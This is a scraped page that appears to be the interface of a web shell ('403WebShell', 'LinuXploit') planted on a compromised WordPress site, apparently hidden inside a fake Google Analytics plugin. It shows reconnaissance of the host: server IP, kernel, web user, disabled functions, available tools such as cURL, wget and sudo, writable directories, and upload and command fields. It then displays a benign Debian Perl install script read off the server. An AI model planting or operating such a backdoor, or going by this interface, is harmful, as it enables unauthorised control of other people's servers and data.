Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/cli-common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/cli-common/framework-package-install
#!/usr/bin/perl

#
# Setup
#

# Directives
use strict;
use warnings;

# Modules
use File::Basename;

# This script gets the name of the package as the first parameter.  It
# parses the file given, then installs them as appropriate.
# If there is a second parameter, this is the only CLR installed.

#
# Handle the input file
#

# Get the package
my $pkg = $ARGV[0];
my $use_clr = $ARGV[1];
my $full = "/usr/share/cli-common/packages.d/$pkg";

# Make sure it exists
if ( ! -f "$full.installcliframework" )
{
    print STDERR "! $full.installcliframework doesn't exist!\n";
    exit 1;
}

# Parse the file
unless (open INPUT, "<$full.installcliframework")
{
    print STDERR "! Cannot open $full.installcliframework ($!)\n";
    exit 2;
}

my @files = ();

while (<INPUT>)
{
    # Clean up the line and ignore blanks and comments
    chomp;
    s/^\s+//;
    s/\s+$//;
    next if /^\#/;
    next if /^\s*$/;

    # Split on the space
    my @p = split(/\s+/);

    # Framework version is first...
    my $framework = shift @p;
    # ...then the file to install
    my $file = shift @p;

    if (! -f $file)
    {
	print STDERR "! Assembly $file does not exist\n";
	exit 3;
    }

    push @files, $framework;
    push @files, $file;
}

# Go through the installation targets
foreach my $clr (glob("/usr/share/cli-common/runtimes.d/*"))
{
    # Ignore temporary files
    next if $clr =~ /~$/;
    next if $clr =~ /^\./;

    # Get the "name"
    my $name = basename($clr);

    # Get the formal name
    my $formal = `$clr name`;
    $formal = $name if !defined $formal || $formal =~ /^\s*$/;
    chomp($formal);

    # Only use the one CLR if given
    next if (defined $use_clr && $name ne $use_clr);

    if (! check_framework_install_supported($clr))
    {
	print STDOUT "* Skipping $formal; no support for framework install\n";
	next;
    }

    # Install them
    my $t = (scalar(@files) / 2) . " assemblies";
    $t = "1 assembly" if (@files == 2);

    print STDOUT "* Installing $t from $pkg into $formal framework paths\n";
    system($clr, "install-framework", $pkg, @files) == 0 or die "E: Installation of $pkg with $clr failed\n";
}

sub check_framework_install_supported
{
    my $clr = shift;

    open PIPE, "$clr 2>&1 |" or die "E: Cannot query $clr capabilities";
    while (<PIPE>)
    {
	if (/install-framework/)
	{
	    return 1;
	}
    }
    return 0;
}

Youez - 2016 - github.com/yon3zu
LinuXploit